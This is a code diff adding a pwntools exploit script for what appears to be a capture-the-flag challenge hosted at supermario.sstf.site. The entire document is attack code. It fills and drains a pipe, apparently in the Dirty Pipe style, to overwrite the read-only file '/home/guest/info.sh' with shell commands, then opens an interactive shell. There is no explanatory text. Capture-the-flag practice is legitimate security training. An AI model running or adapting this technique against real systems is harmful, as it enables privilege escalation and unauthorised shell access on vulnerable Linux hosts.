|
| 1 | +from pwn import * |
| 2 | + |
| 3 | +#proc = process(["runuser", "guest", "-c", "/home/guest/mario"]) |
| 4 | +proc = remote('supermario.sstf.site', 34003) |
| 5 | + |
| 6 | +def read_pipe(): |
| 7 | + proc.sendlineafter(b"cmd>", b"1") |
| 8 | + return proc.recv() |
| 9 | + |
| 10 | +def write_pipe(size, data): |
| 11 | + proc.sendlineafter(b"cmd>", b"2") |
| 12 | + proc.sendlineafter(b"size?>", str(size).encode()) |
| 13 | + proc.recvuntil(b"input>") |
| 14 | + proc.sendline(data) |
| 15 | + |
| 16 | +def write_file(path): |
| 17 | + proc.sendlineafter(b"cmd>", b"3") |
| 18 | + proc.sendlineafter(b"path>", path.encode()) |
| 19 | + print(proc.recvline()) |
| 20 | + |
| 21 | +def read_file(path, size): |
| 22 | + proc.sendlineafter(b"cmd>", b"4") |
| 23 | + proc.sendlineafter(b"Path>", path.encode()) |
| 24 | + proc.sendlineafter(b"size?>", str(size).encode()) |
| 25 | + print(proc.recvline()) |
| 26 | + |
| 27 | + |
| 28 | +pipe_size = 65536 |
| 29 | +buffer_size = 4096 |
| 30 | + |
| 31 | +for i in range(0, pipe_size, buffer_size): |
| 32 | + write_pipe(buffer_size, b'A' * buffer_size) |
| 33 | + |
| 34 | +for i in range(0, pipe_size, buffer_size): |
| 35 | + read_pipe() |
| 36 | + |
| 37 | +read_file('/home/guest/info.sh', 1) |
| 38 | + |
| 39 | +sice = "!/bin/sh\n/bin/bash\n" |
| 40 | +write_pipe(len(sice), sice.encode()) |
| 41 | + |
| 42 | +proc.interactive() |
| 43 | + |
0 commit comments